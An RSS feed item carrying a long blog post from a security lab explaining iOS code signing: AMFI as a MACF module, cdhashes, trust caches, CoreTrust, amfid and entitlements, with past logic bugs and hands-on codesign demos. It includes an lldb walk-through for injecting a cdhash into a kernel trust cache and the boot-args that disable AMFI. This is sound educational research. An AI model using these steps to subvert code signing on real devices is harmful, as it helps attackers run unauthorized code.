<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Sigreturn Labs Blog</title>
    <link>https://sigreturn.com/blog/</link>
    <description>Notes from the lab — research, writeups, and product updates from Sigreturn Labs.</description>
    <language>en</language>
    <lastBuildDate>Sat, 18 Jul 2026 12:00:00 +0000</lastBuildDate>
    <atom:link href="https://sigreturn.com/blog/feed.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>The iOS Code-Signing Pipeline</title>
      <link>https://sigreturn.com/blog/ios-code-signing-pipeline/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/ios-code-signing-pipeline/</guid>
      <pubDate>Sat, 18 Jul 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>amfi</category>
      <category>macf</category>
      <category>code-signing</category>
      <category>trust-cache</category>
      <category>coretrust</category>
      <category>entitlements</category>
      <description><![CDATA[<p><a href="/blog/xnu-under-the-hood/">The previous post</a> ended on a single field. Inside every process&rsquo;s credentials, <code>p_ucred</code>, sits <code>cr_label</code>, a slot the kernel reserves for the Mandatory Access Control Framework. We noted in passing that AMFI and the sandbox hang their per-process policy there, then moved on. This post is what hangs there.</p>
<p>Every time a process is created, through <code>execve</code> or <code>posix_spawn</code>, the kernel has to answer one question before it runs a single instruction of the new image: may these bytes execute? Anyone who has built for iOS has seen the visible answer, the line in the log that reads <code>AMFI: code signature validation failed</code>. AMFI gets the blame, so it is easy to think of it as <em>the</em> code-signing check. It is not. It is one policy module plugged into a generic kernel framework, and the real answer is produced by a pipeline behind it: a signature format, a fast-path allowlist, an in-kernel certificate check, a userland daemon, and a set of signed capabilities. This post takes that pipeline apart, in the order the kernel walks it.</p>
<div class="admonition note">
<p>Everything here is public: Apple&rsquo;s open-source XNU, the Apple Platform Security documentation, and published research from Siguza, Project Zero, Linus Henze and others. It contains no exploit, private detail, or 0day.</p>
</div>
<h2 id="amfi-is-not-special-the-macf-reveal">AMFI is not special: the MACF reveal</h2>
<p>Start with the framework, because it is the piece that reframes everything else.</p>
<p><strong>MACF</strong> is the <strong>Mandatory Access Control Framework</strong>, inherited from TrustedBSD and wired into XNU. The important thing about it is what it is <em>not</em>: it is not a security policy. It enforces nothing on its own. It is a registration and dispatch layer, a mesh of hook points sprinkled through the kernel at every sensitive operation, into which separate <em>policy modules</em> plug themselves.</p>
<p>Now the reveal. <strong>AMFI is a MACF policy module. So is the sandbox. So is Quarantine.</strong> <code>AppleMobileFileIntegrity.kext</code> is nothing more than a set of <code>mpo_*</code> callbacks hung on MACF hook points. That is why the two acronyms always show up together in a stack trace: &ldquo;AMFI&rdquo; is the policy, &ldquo;MACF&rdquo; is the mechanism it runs on. The sandbox, covered in the next post, is the exact same shape of thing, a second set of callbacks on the same hooks. They are siblings.</p>
<p>Two properties of the framework matter for the rest of this series, and both are load-bearing for an attacker.</p>
<p><strong>Checks are deny-wins.</strong> When several policies implement the same check, the kernel keeps the most restrictive answer, so AMFI and the sandbox each hold an independent veto over the same operation. A bug that makes AMFI return &ldquo;allow&rdquo; early does not disable the sandbox&rsquo;s hook on that operation, and the reverse is also true. The policies compose; they do not share a fate.</p>
<p><strong>Labels are how a policy remembers.</strong> Each policy gets one or more label slots on the objects the kernel tracks, and the one that matters here is <code>cr_label</code>, on a process&rsquo;s credentials, the field we met at the end of the last post. AMFI&rsquo;s per-process code-signing verdict and the sandbox&rsquo;s compiled profile both live inside it. This is the direct offensive consequence: once you have kernel read/write, editing that label slot sheds the policy&rsquo;s memory of you. Patch the AMFI slot and the kernel forgets your process failed a check; patch the sandbox slot and the process is no longer confined. The framework is also its own target, since corrupting the policy list turns enforcement off wholesale. The sanctioned form of exactly that switch is the boot argument <code>amfi_get_out_of_my_way</code>, though getting a machine to honor it takes more than setting it, as the hands-on ends by showing.</p>
<p>Hold on to the label idea. Everything AMFI decides below is, in the end, a value it writes into that slot.</p>
<h2 id="what-a-signature-is-ending-at-the-cdhash">What a signature is, ending at the cdhash</h2>
<p>Before the kernel can decide whether an image may run, it needs something to decide <em>about</em>. That something is the code signature embedded in the Mach-O, and for our purposes it reduces to a single 20-byte number. Let us get to that number.</p>
<p>The invariant the whole component exists to enforce is <strong>W^X plus code integrity</strong>: no page of memory is ever both writable and executable, and the contents of every executable page hash to a value some trusted party blessed. Break that and a memory-corruption bug stops being a crash and becomes persistent native code, which is why every jailbreak eventually has to defeat this layer and not just the kernel&rsquo;s memory safety.</p>
<p>A signed Mach-O carries an <code>LC_CODE_SIGNATURE</code> load command pointing at a blob in its <code>__LINKEDIT</code> segment. That blob is a <strong>SuperBlob</strong> (magic <code>0xFADE0CC0</code>): a small header, a count, and an index of <code>(type, offset)</code> pairs, each pointing at a sub-blob. The sub-blobs are the parts of the signature:</p>
<table>
<thead>
<tr>
<th>Sub-blob</th>
<th>Magic</th>
<th>What it holds</th>
</tr>
</thead>
<tbody>
<tr>
<td>CodeDirectory</td>
<td><code>0xFADE0C02</code></td>
<td>the page-hash tree, and the thing the cdhash is a hash <em>of</em></td>
</tr>
<tr>
<td>Entitlements (XML / DER)</td>
<td><code>0xFADE7171</code> / <code>0xFADE7172</code></td>
<td>signed key/value capabilities</td>
</tr>
<tr>
<td>Requirements</td>
<td><code>0xFADE0C01</code></td>
<td>rules a valid signer must satisfy</td>
</tr>
<tr>
<td>CMS wrapper</td>
<td><code>0xFADE0B01</code></td>
<td>the actual cryptographic signature, a PKCS#7 structure</td>
</tr>
</tbody>
</table>
<p>The <strong>CodeDirectory</strong> is the heart of it. It carries an array of hashes, one per 4 KiB page of the binary up to <code>codeLimit</code>: these are the <strong>code slots</strong>. When a page of the image is first faulted in, the virtual-memory system computes that page&rsquo;s hash and compares it to the stored slot (<code>cs_validate_page</code>). On a process marked <code>CS_HARD | CS_KILL</code>, which is every normal process on iOS, a mismatch is a <code>SIGKILL</code> on the spot. That lazy, per-page check is the concrete mechanism behind &ldquo;you cannot patch a signed page in memory&rdquo;: the moment the modified page faults in, its hash no longer matches and the process dies, unless the page lives in a region that was never signed in the first place, which is the JIT hole we return to later.</p>
<p>The CodeDirectory also binds the other sub-blobs into itself through <strong>special slots</strong>, each holding the hash of one sub-blob. So you cannot alter the entitlements blob without changing the CodeDirectory, which is the whole reason the entitlement parser bugs later in this post are interesting.</p>
<p>And now the number. The <strong>cdhash</strong> is the hash of the CodeDirectory blob itself, truncated to <code>CS_CDHASH_LEN</code>, which is <strong>20 bytes</strong>, whatever the underlying algorithm. It is the canonical identity of a binary. Every mechanism downstream keys on it: the trust cache is an allowlist of cdhashes, launch constraints are pinned to cdhashes, amfid&rsquo;s reply is a cdhash, <code>csops(CS_OPS_CDHASH)</code> hands one back to userland. In the kernel it lives in a <code>struct cs_blob</code> attached to the file&rsquo;s vnode.</p>
<p>So the rest of the article has a single subject. A binary is, for this purpose, its cdhash. The question &ldquo;may these bytes run?&rdquo; becomes &ldquo;what does the kernel do with this 20-byte value at exec?&rdquo;</p>
<h2 id="the-verdict-pipeline">The verdict pipeline</h2>
<p>At exec, the kernel&rsquo;s signature-check hook fans out to AMFI&rsquo;s <code>mpo_vnode_check_signature</code>, the routine that produces the verdict. Sibling AMFI hooks around it do the smaller jobs: setting the <code>CS_HARD | CS_KILL</code> flags that make a hash mismatch fatal, enforcing library validation on loaded dylibs, and gating <code>MAP_JIT</code> and <code>get-task-allow</code>. But the signature check is the one that decides whether the process lives at all.</p>
<p>Inside that check, AMFI computes the binary&rsquo;s cdhash and walks a pipeline. <strong>The order matters</strong>, because each stage is a different trust story with a different attack surface:</p>
<table>
<thead>
<tr>
<th>Step</th>
<th>What AMFI checks</th>
<th>On a match</th>
<th>CMS validated?</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Trust cache</td>
<td>cdhash present in the static or a loadable trust cache</td>
<td>runs as a <strong>platform binary</strong></td>
<td><strong>No</strong></td>
</tr>
<tr>
<td>2. CoreTrust</td>
<td>CMS chain validates to a pinned Apple root; classify the signer</td>
<td>App Store signer runs directly</td>
<td>Yes, in the kernel</td>
</tr>
<tr>
<td>3. amfid + profile</td>
<td>signer and entitlements checked against a provisioning profile</td>
<td>developer / enterprise binary runs</td>
<td>Yes (via CoreTrust) plus the profile</td>
</tr>
<tr>
<td>none of the above</td>
<td>nothing vouches for the cdhash</td>
<td><code>SIGKILL</code></td>
<td>not reached</td>
</tr>
</tbody>
</table>
<p>Read top to bottom, this is the entire answer to &ldquo;may these bytes run?&rdquo; The next four sections are just these rows in detail. Notice the first one already tells you something: for most of the code on the device, there is no cryptography at exec time at all.</p>
<h2 id="trust-caches-the-fast-path">Trust caches: the fast path</h2>
<p>The base operating system is thousands of Mach-O files, and validating a CMS signature chain for each one on every launch would be slow. Apple&rsquo;s answer is an allowlist. A <strong>trust cache</strong> is a sorted list of cdhashes that are trusted <em>without</em> any signature validation: if a binary&rsquo;s cdhash is in the cache, it runs immediately as a platform binary, and the CMS blob is never even looked at. This is step 1 of the pipeline, and it is the path taken by essentially the whole OS.</p>
<p>The cache is carried in an Image4 container (an <code>IM4P</code> payload, the format from <a href="/blog/ios-chain-of-trust/">the boot-chain post</a>), tagged <code>trst</code> for the static cache or <code>ltrs</code> for a loadable one, with restore and engineering variants besides. Inside is a short header (a version, a uuid, an entry count) followed by sorted <code>{ cdhash, hashType, flags }</code> entries, so a lookup is a binary search on the 20-byte cdhash. Version 2 adds a byte tying each entry to a launch-constraint category.</p>
<p>There are two kinds:</p>
<ul>
<li>The <strong>static trust cache</strong> is built into the kernelcache, one per image, and locked read-only after early boot. It is the allowlist for the shipped OS.</li>
<li><strong>Loadable trust caches</strong> are added at runtime, for things like a mounted disk image&rsquo;s contents or a developer&rsquo;s binaries.</li>
</ul>
<p>This is the jailbreak&rsquo;s oldest friend. Before the page-table monitors existed, a loadable trust cache lived in ordinary writable <code>__DATA</code> kernel memory. Once an exploit had kernel read/write, it appended its own binaries&rsquo; cdhashes to that list, and from that moment those binaries ran as platform code with no signature check. Electra&rsquo;s <code>inject_trusts</code> is the canonical example, adding the cdhashes of <code>amfid_payload.dylib</code> and the rest of the jailbreak&rsquo;s userland. Hold that thought until the 2026 section, because it is exactly the move that stopped working.</p>
<h4 id="aside-injecting-a-cdhash-by-hand-in-lldb">Aside: injecting a cdhash by hand in lldb</h4>
<p>Attach a kernel debugger, lldb against a target matched to its Kernel Debug Kit, and you have kernel read/write for free. That is the same position a finished exploit is in when it reaches this step, which makes the debugger the cleanest way to prototype the injection an exploit would automate, the by-hand version of <code>inject_trusts</code>. On a build where the loadable trust cache still sits in writable kernel memory, the move is short: find the module, read its header, drop your binary&rsquo;s cdhash into a fresh entry, and raise the count over it.</p>
<pre><code>(lldb) # a loadable trust cache module in kernel memory
(lldb) #   (recover the list-head symbol during symbolication)
(lldb) p (struct trust_cache_module1 *)&lt;trust cache module&gt;
(struct trust_cache_module1 *) $0 = 0xffffff8000a1c000

(lldb) # header: version, a 16-byte uuid, then the entry count
(lldb) p $0-&gt;num_entries
(uint32_t) $1 = 41

(lldb) # each entry is { cdhash[20], hash_type, flags }, kept sorted
(lldb) # write your binary's cdhash (the 20 bytes from codesign -dvvv)
(lldb) # into the next slot, then raise the count over it
(lldb) memory write --infile cdhash.bin &amp;$0-&gt;entries[41]
(lldb) expr -- $0-&gt;num_entries = 42
</code></pre>
<p>Two things make this less casual than the four lines suggest. The entries are sorted so the lookup can binary-search them, so a correct injection inserts in order, or, as real injectors do, splices in a fresh single-entry module rather than appending to a shared array. And it only works where that memory is writable at all. On a PPL device the loadable trust cache lives in <code>pmap_cs</code> pages the kernel is not allowed to write, and on an SPTM device it is a monitor-owned frame the kernel cannot write, so the identical write faults. That failure is the whole of the 2026 section compressed into one experiment: the exact write that made a cdhash trusted is the one Apple moved out of the kernel&rsquo;s reach.</p>
<h2 id="coretrust-the-check-that-moved-into-the-kernel">CoreTrust: the check that moved into the kernel</h2>
<p>If the cdhash is not in a trust cache, the binary has to prove itself with its CMS signature, and here there is history worth telling, because it explains why this stage exists at all.</p>
<p>For years the real signature validation happened in userland, in the <code>amfid</code> daemon we meet next. The kernel&rsquo;s AMFI would compute a cdhash, hand it to amfid, and trust amfid&rsquo;s yes-or-no answer. That design has an obvious weakness once an attacker has kernel read/write: patch amfid. Every jailbreak of that era did. LiberiOS pointed amfid&rsquo;s import of the validation function at a bad address and caught the resulting fault; Electra rebound it to a <code>fake_MISValidateSignatureAndCopyInfo</code> that simply returned success. The signature check was a userland function, and userland functions can be rewritten.</p>
<p><strong>CoreTrust</strong> closed that door. It is an in-kernel validator (packaged as <code>CoreTrust.kext</code> on most builds) that parses the CMS <code>SignedData</code> structure, builds the X.509 certificate chain, verifies every signature in it, and confirms the chain terminates at an <strong>Apple root certificate pinned inside the kernel</strong>. Having done that, it classifies the leaf certificate by its extensions into a signer class: App Store, developer, enterprise, TestFlight. It hands those <em>policy flags</em> back to AMFI. It deliberately does not look at entitlements or provisioning profiles; its entire job is &ldquo;is this a genuine Apple-rooted signature, and of what kind.&rdquo;</p>
<p>The consequence is that a lying amfid buys you nothing anymore. The cryptographic decision now lives in the kernel, anchored to a key an attacker with read/write can read but cannot make the CMS math validate against. The loosely-signed path still runs amfid, but only <em>after</em> CoreTrust has bounded what a valid signer could be. That is why post-CoreTrust jailbreaks stopped shipping a patched amfid and went looking for logic bugs in CoreTrust itself.</p>
<p>Its entire input is attacker-controlled ASN.1, which makes the parser and the chain-validation logic a target in their own right. We come back to a real one, CVE-2022-26766, in the offensive section.</p>
<h2 id="amfid-and-provisioning-profiles">amfid and provisioning profiles</h2>
<p>The third row of the pipeline is the one that carries third-party code: apps signed by a developer or an enterprise rather than baked into the OS or shipped through the App Store.</p>
<p><strong>amfid</strong> (<code>/usr/libexec/amfid</code>) is the userland daemon that handles this path. The kernel&rsquo;s AMFI reaches it over a dedicated Mach special port (port 18). Its job is to validate the binary against the <strong>provisioning profiles</strong> installed on the device, by calling <code>MISValidateSignatureAndCopyInfo</code> in <code>libmis</code>, and to return the cdhash and signer information.</p>
<p>A <strong>provisioning profile</strong> is a CMS-signed plist, stored under <code>/var/MobileDeviceProvisioningProfiles</code>, that binds four things together:</p>
<ul>
<li>the developer or enterprise <strong>certificate(s)</strong> allowed to sign,</li>
<li>the <strong>entitlements</strong> the binary is permitted to claim,</li>
<li>the <strong>device UDIDs</strong> it may run on,</li>
<li>an <strong>expiry date</strong>.</li>
</ul>
<p>amfid cross-checks the binary&rsquo;s actual signer and requested entitlements against this profile. This is the machinery behind a detail every iOS developer has hit: a free &ldquo;personal team&rdquo; profile expires in <strong>7 days</strong>, so a sideloaded app signed that way stops launching a week later. Enterprise profiles last far longer, which is precisely why enterprise certificates are the perennial vehicle for sideloading and for iOS malware distribution.</p>
<h2 id="entitlements-signed-capabilities">Entitlements: signed capabilities</h2>
<p>We have mentioned entitlements at every stage; now define them properly, because they are the bridge to the rest of the security model. An <strong>entitlement</strong> is a signed key/value pair bound into the CodeDirectory by a special slot, so it cannot be altered without breaking the cdhash. An entitlement is a capability the signer cryptographically granted.</p>
<p>They fall into three groups, and the distinction is the entire point:</p>
<table>
<thead>
<tr>
<th>Group</th>
<th>Examples</th>
<th>Who may carry it</th>
</tr>
</thead>
<tbody>
<tr>
<td>Benign</td>
<td><code>get-task-allow</code></td>
<td>any developer-signed binary</td>
</tr>
<tr>
<td>Restricted</td>
<td><code>platform-application</code>, <code>com.apple.private.*</code>, <code>apple-internal</code></td>
<td>only Apple-signed or specially provisioned binaries</td>
</tr>
<tr>
<td>Sandbox exceptions</td>
<td>file and <code>mach-lookup</code> exceptions</td>
<td>granted here, enforced by the sandbox module</td>
</tr>
</tbody>
</table>
<p>AMFI enforces that a third-party binary may carry only the entitlements its provisioning profile authorizes; a binary cannot simply ask for <code>platform-application</code> and receive it. The restricted group is what separates Apple&rsquo;s own code from everyone else&rsquo;s, and forging membership in it, by getting the kernel to believe a binary holds an entitlement it was never granted, is the exact prize the signature bugs below go after.</p>
<p>The last group is the handoff to the next post. A sandbox exception is an entitlement that AMFI validates here, at exec, and that the sandbox then <em>consumes</em> at runtime to widen what the process may touch. AMFI decides what a binary is allowed to <em>be</em>; the sandbox decides what a running process is allowed to <em>do</em>. They meet at the entitlement.</p>
<h2 id="the-offensive-angle-logic-beats-corruption">The offensive angle: logic beats corruption</h2>
<p>Given all of the above, where are the bugs? The memory-safety surface is real (the CMS ASN.1 decoder and the CodeDirectory&rsquo;s bounds arithmetic are reachable from anything that gets a Mach-O parsed, and worth fuzzing), but the defining bugs of this component are <strong>logic</strong>, and that is what makes them special. A logic bug in the code-signing policy needs no heap shaping, survives kalloc_type, is untouched by memory tagging, and does not care about the page-table monitor. It convinces the machine that a lie is a valid signature. Three cases show the pattern.</p>
<p><strong>Psychic Paper</strong> (Siguza, 2020, CVE-2020-9842, fixed in iOS 13.5) is the purest of them. iOS parsed the entitlements blob with two different XML parsers, one in the kernel and one in userland, and Siguza found a comment construct they read differently: one saw a harmless plist, the other an entitlement that was not really there. The launch-time check validated the benign reading while the runtime granted the malicious one, so an unprivileged app could claim any entitlement it liked, up to <code>platform-application</code>. No memory was corrupted; two parsers simply disagreed, and the gap was a capability. The fix routed every consumer through one hardened parser, <code>AMFIUnserializeXML</code>.</p>
<p><strong>The DER sequel</strong> (Ivan Fratric, Project Zero, CVE-2022-42855, fixed in iOS 15.7.2) is the same bug in binary clothes. Apple moved entitlements to DER partly to end these differentials, since DER is meant to have one canonical reading. But <code>libCoreEntitlements</code> had three traversals that disagreed on how far a sequence extended: the validation and query paths ran past its declared length while the profile-subset check respected it. An entitlement smuggled in as an extra element was honored at runtime but invisible to the check meant to reject it. Psychic Paper again, in the format introduced to prevent it.</p>
<p><strong>The CoreTrust root bug</strong> (Linus Henze, CVE-2022-26766, fixed in iOS 15.5) attacked the certificate check instead of the parser, and it has the largest footprint. CoreTrust validated the CMS chain but never confirmed it terminated at an Apple root, so a certificate merely <em>carrying the App Store extension</em>, whoever issued it, made CoreTrust set the App Store flag and AMFI run the binary with nearly any entitlement. This is the primitive behind <strong>TrollStore</strong>: permanent, arbitrary code signing, no memory corruption at all. The archetype of the class, a logic bug that answers &ldquo;may these bytes run?&rdquo; with an unconditional yes.</p>
<p>And when the bug is in the kernel rather than the policy, the same component is the post-exploitation endgame. With kernel read/write in hand, an attacker does not necessarily need a fresh signing bug: append a cdhash to a loadable trust cache, or flip <code>CS_PLATFORM_BINARY</code> and clear <code>CS_HARD | CS_KILL</code> in a process&rsquo;s <code>p_csflags</code>, or edit the AMFI label slot to grant an entitlement. Each of these is a data-only write that turns &ldquo;I control kernel memory&rdquo; into &ldquo;I run whatever code I want.&rdquo; On pre-A15 hardware, they all still land. The next section is about why, on current hardware, most of them do not.</p>
<h2 id="state-in-2026">State in 2026</h2>
<p>The abstractions above are stable, but the ground under the post-exploitation moves has shifted hard, and the headline is that a kernel read/write is no longer enough to forge a verdict.</p>
<p><strong>TXM owns the decision now.</strong> On A15 and M2 and later, the SPTM devices, the code-signing verdict left the XNU address space entirely. The <strong>Trusted Execution Monitor</strong> runs at a higher privilege than the kernel and holds the trust caches, the provisioning-profile registry, and the signature objects in memory the page-table monitor refuses to map writable to the kernel. The effect is blunt: trust-cache injection and <code>p_csflags</code> forging, the two moves that ended the offensive section, are <strong>dead</strong> on this hardware, because the bytes you would overwrite are not in memory XNU can write. Post-exploitation now needs a monitor bug on top of the kernel bug, a subject for the hardening post later in this series. tfp0 is again the start of the hard part.</p>
<p>The rest of the deltas, in brief:</p>
<ul>
<li><strong>DER entitlements are the enforced form</strong> since iOS 15, retiring the XML parser-differential class, with the irony that the DER decoder produced its own CVE-2022-42855.</li>
<li><strong>Launch constraints</strong> (iOS 16, everywhere by 2026) pin a system binary to the context it may launch in, closing the &ldquo;reuse an old Apple-signed binary&rdquo; and &ldquo;repurpose a privileged helper&rdquo; tricks.</li>
<li><strong>CoreTrust was hardened</strong> after CVE-2022-26766: the root anchor is enforced now, and TrollStore-class permanent signing died with it.</li>
<li><strong>Developer Mode</strong> (iOS 16) replaced the ad-hoc &ldquo;just disable AMFI&rdquo; paths with a signed, reboot-gated state.</li>
</ul>
<p>What still works, and will keep working, is the logic. A parser differential or a chain-validation flaw in the <em>policy</em> bypasses memory tagging, kalloc_type, and the page-table monitor all at once, because it never corrupts anything: it convinces a correct machine of a false fact. That is the enduring lesson of this component. The JIT hole is also permanent by construction: a process holding <code>dynamic-codesigning</code> owns a legitimately writable-then-executable mapping, and a bug inside such a process, a browser&rsquo;s JavaScript engine being the obvious one, reaches native code without touching any of this machinery.</p>
<h2 id="hands-on-dumping-the-policy-off-a-real-binary">Hands-on: dumping the policy off a real binary</h2>
<p>You can watch this whole pipeline from a Mac, no jailbreak needed, because every value it turns on is dumpable from the signature and the kernelcache. We read a binary&rsquo;s signature, pull out its cdhash, then open the OS&rsquo;s trust cache, the allowlist of exactly those values that decides what runs as platform code.</p>
<p><strong>1. Read the SuperBlob and the cdhash.</strong> <code>codesign -dvvv</code> prints the CodeDirectory summary and the cdhash for any signed binary. <code>/bin/ls</code> is a good first target, because it is one of Apple&rsquo;s own platform binaries:</p>
<pre><code class="language-bash">codesign -dvvv /bin/ls
</code></pre>
<pre><code>Executable=/bin/ls
Identifier=com.apple.ls
Format=Mach-O universal (x86_64 arm64e)
CodeDirectory v=20400 size=741 flags=0x0(none) hashes=18+2 location=embedded
Hash type=sha256 size=32
CDHash=1205ca11b1c3f706109656bcf4e2c12439d843b7
Signature size=4442
Authority=Software Signing
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
TeamIdentifier=not set
</code></pre>
<p><code>hashes=18+2</code> is 18 code slots plus 2 special slots. <code>CDHash=1205ca11...</code> is the 20 bytes everything downstream keys on. The <code>Authority=</code> chain is what CoreTrust validates, terminating at <code>Apple Root CA</code>, and the <code>Software Signing</code> leaf marks this as Apple&rsquo;s own platform code, which is also why it carries no team identifier and no entitlements. Add <code>--entitlements -</code> when a binary actually has entitlements, to dump them alongside.</p>
<p><strong>2. See the allowlist itself: the trust cache.</strong> The other half of that first pipeline step is where those cdhashes are trusted. <code>ipsw fw tc</code> pulls the trust caches an IPSW ships, one per system disk image (the mounted-image caches from earlier). Point it at an IPSW, not a decompressed kernelcache; <code>--remote</code> streams a URL without downloading the whole file:</p>
<pre><code class="language-bash">ipsw fw tc iPhone10,3,iPhone10,6_15.0_19A346_Restore.ipsw
# --remote '&lt;IPSW URL&gt;' streams it instead of downloading
</code></pre>
<pre><code>UUID:       E45C2F07-B759-44D4-BBD5-B3844FDBBED6
Version:    1
NumEntries: 2407
    0023c7654da7272bbd68953586f1a299b8bed350 sha256
    00262ea6bb7dcf7ee984c8280a6e5e5ac7a14584 sha256
    0037fc2307eae66eaf7139916862dc2b7336b43f sha256
    ...
</code></pre>
<p>This IPSW carries three, one per system image; the main OS volume&rsquo;s is the big one, <strong>2,407</strong> cdhashes, each a 20-byte value exactly like the one <code>/bin/ls</code> gave up in step 1, sorted for a binary search. On iOS a binary runs as platform code precisely when its cdhash is one of these, with no CMS validation at all. That presence, and nothing cryptographic, is why so much of the OS never touches CoreTrust.</p>
<p><strong>3. Try to grant yourself an entitlement, and watch AMFI decide.</strong> The steps so far read Apple&rsquo;s policy off finished binaries. Now go the other way and try to <em>give yourself</em> a capability by signing it in. This is a macOS demonstration, because macOS will run locally-signed code at all; on iOS the binary would be killed for having no trust-cache entry and no Apple signature, long before entitlements came up. That relaxed first gate is what lets us isolate the entitlement check.</p>
<p>A freshly compiled binary is ad-hoc signed by the linker and carries no entitlements. Give it a benign one, the macOS debug entitlement <code>com.apple.security.get-task-allow</code>, re-sign ad-hoc, and it runs:</p>
<pre><code class="language-bash">printf 'int main(void){return 0;}\n' &gt; hello.c &amp;&amp; clang -o hello hello.c
echo '{&quot;com.apple.security.get-task-allow&quot;:true}' | plutil -convert xml1 -o allowed.plist -
codesign -s - --entitlements allowed.plist -f ./hello
./hello; echo &quot;exit: $?&quot;
# exit: 0
</code></pre>
<p>That entitlement is self-declared: any signer, ad-hoc included, may carry it, because it grants no authority the system has to vouch for. Now ask for one that does. <code>platform-application</code> marks a binary as Apple&rsquo;s own platform code, the <code>CS_PLATFORM_BINARY</code> from the pipeline, so a self-signed binary must not be able to claim it:</p>
<pre><code class="language-bash">echo '{&quot;platform-application&quot;:true}' | plutil -convert xml1 -o restricted.plist -
codesign -s - --entitlements restricted.plist -f ./hello
./hello; echo &quot;exit: $?&quot;
# zsh: killed  ./hello
# exit: 137
</code></pre>
<p>A <code>SIGKILL</code>, before <code>main</code>. With <code>log stream --predicate 'sender == "kernel"'</code> open in another Terminal, the reason prints as the process dies:</p>
<pre><code>kernel: mac_vnode_check_signature: /private/tmp/hello: code signature validation failed fatally:
  Code has restricted entitlements, but the validation of its code signature failed.
kernel: validation of code signature failed through MACF policy: 1
</code></pre>
<p><code>platform-application</code> is a <strong>restricted</strong> entitlement, so carrying it forces the signature to be <em>authorized</em> to carry it, and an ad-hoc signature is authorized by nobody. Note the check: <code>mac_vnode_check_signature</code>, failing <code>through MACF policy</code>, the exact hook and framework from the top of this post.</p>
<p>The instinct is that a real signing identity fixes this. It does not. Sign the same binary with a genuine Apple Development identity, same entitlement:</p>
<pre><code class="language-bash">codesign -s &quot;Apple Development: Adam Taguirov&quot; --entitlements restricted.plist -f ./hello
./hello; echo &quot;exit: $?&quot;
# exit: 137   (the same mac_vnode_check_signature kill)
</code></pre>
<p>Still dead. Holding a real certificate is not the same as being authorized for the entitlement. A developer can unlock some restricted entitlements with a provisioning profile, the signed document from the amfid section that binds entitlements to certificates and devices; <code>platform-application</code> is not one of them, it is reserved for Apple&rsquo;s own platform binaries and no third-party profile grants it. Self-signing, ad-hoc or developer, lets you <em>write</em> any entitlement into the blob but confers no authority to <em>use</em> a restricted one. Manufacturing that authority, making the kernel believe a binary holds an entitlement it was never granted, is exactly what a bug like Psychic Paper bought.</p>
<p><strong>4. Turn the enforcement off, and see what that takes.</strong> Everything above watches AMFI decide. The sanctioned way to make it stop deciding is the boot argument from the MACF section, <code>amfi_get_out_of_my_way</code>: set it, and AMFI&rsquo;s hooks return &ldquo;allow&rdquo; without checking, so unsigned code runs. The switch itself is trivial. What a machine makes you do before it will honor it is the part worth seeing.</p>
<p>On a Mac the argument goes in NVRAM, which the boot loader passes to the kernel:</p>
<pre><code class="language-bash">sudo nvram boot-args=&quot;amfi_get_out_of_my_way=0x1 cs_enforcement_disable=1&quot;
</code></pre>
<p>On a stock machine that command changes nothing. The kernel ignores AMFI-disabling boot-args unless System Integrity Protection is already off, and SIP comes off only from recoveryOS with <code>csrutil disable</code>. On Apple Silicon there is a step in front of even that: recoveryOS refuses to disable SIP until you lower the machine&rsquo;s security policy from Full to Reduced in Startup Security Utility. So the real sequence is boot recoveryOS, lower the security policy, <code>csrutil disable</code>, reboot, set the boot-arg, reboot again. Only then does the off-switch flip.</p>
<p>On iOS none of that is available. A production iPhone will not let you write boot-args, and its release kernel would ignore them if you could. The argument is honored only on Apple&rsquo;s own development-fused hardware, or on a device whose boot chain you have already broken: a checkm8-class Boot ROM bug that lets you patch iBoot and inject boot-args, or a kernel already patched by a jailbreak. That is the thread straight back to <a href="/blog/ios-chain-of-trust/">the first post</a>. You can only relax code signing if you can influence the boot chain, and the boot chain is the thing built to stop you. The off-switch is real, but it sits behind the security state the boot chain establishes, never in front of it.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>We can now answer the question the post opened with. When a process is created, the kernel computes its cdhash and walks a pipeline: the trust cache first (the allowlist that runs the base OS with no cryptography), then CoreTrust (an in-kernel CMS check anchored to a pinned Apple root), then amfid with the provisioning profiles. The outcome is written as flags and a label into the process&rsquo;s credentials, along with the entitlements it was granted. AMFI runs this, plugged into MACF alongside the sandbox, and its richest bugs are not memory corruption but logic: two parsers, or a certificate check, made to disagree.</p>
<p>That last handoff is the next post. AMFI has decided what this binary is allowed to <em>be</em>, and stamped the answer, including its sandbox-exception entitlements, into <code>cr_label</code>. The sandbox is the other module reading that same label, and it decides the complementary question: now that the process is running, what is it allowed to <em>touch</em>? It is AMFI&rsquo;s twin on the same framework, and escaping it is more often a matter of logic than of corruption, for reasons that will feel familiar by the end.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from open source, vendor documentation, and published research.</p>
<ul>
<li>Apple, <a href="https://support.apple.com/guide/security/welcome/web">Apple Platform Security</a>, for code signing, trust caches, launch constraints, and Developer Mode at the vendor-documentation level.</li>
<li>Apple&rsquo;s open-source <a href="https://github.com/apple-oss-distributions/xnu">XNU</a> is ground truth for the structures named here: <code>osfmk/kern/cs_blobs.h</code> (the <code>CSMAGIC_*</code> and <code>CSSLOT_*</code> values, <code>CS_EXECSEG_*</code>, <code>CS_CDHASH_LEN</code>), <code>osfmk/kern/trustcache.h</code> (the trust-cache header and entry layout), <code>bsd/sys/code_signing.h</code> and <code>bsd/kern/code_signing/{xnu,ppl,txm}.c</code> (the <code>csm_*</code> monitor interface), and <code>security/mac_policy.h</code> (the <code>mpo_*</code> MACF hook names).</li>
<li>Siguza, <a href="https://blog.siguza.net/psychicpaper/">&ldquo;Psychic Paper&rdquo;</a> (2020, CVE-2020-9842), the XML entitlement parser-differential and the <code>AMFIUnserializeXML</code> fix.</li>
<li>Ivan Fratric, <a href="https://googleprojectzero.blogspot.com/2023/01/der-entitlements-brief-return-of.html">&ldquo;DER Entitlements: The (Brief) Return of the Psychic Paper&rdquo;</a> (Project Zero, 2023, CVE-2022-42855), the <code>libCoreEntitlements</code> DER traversal differential.</li>
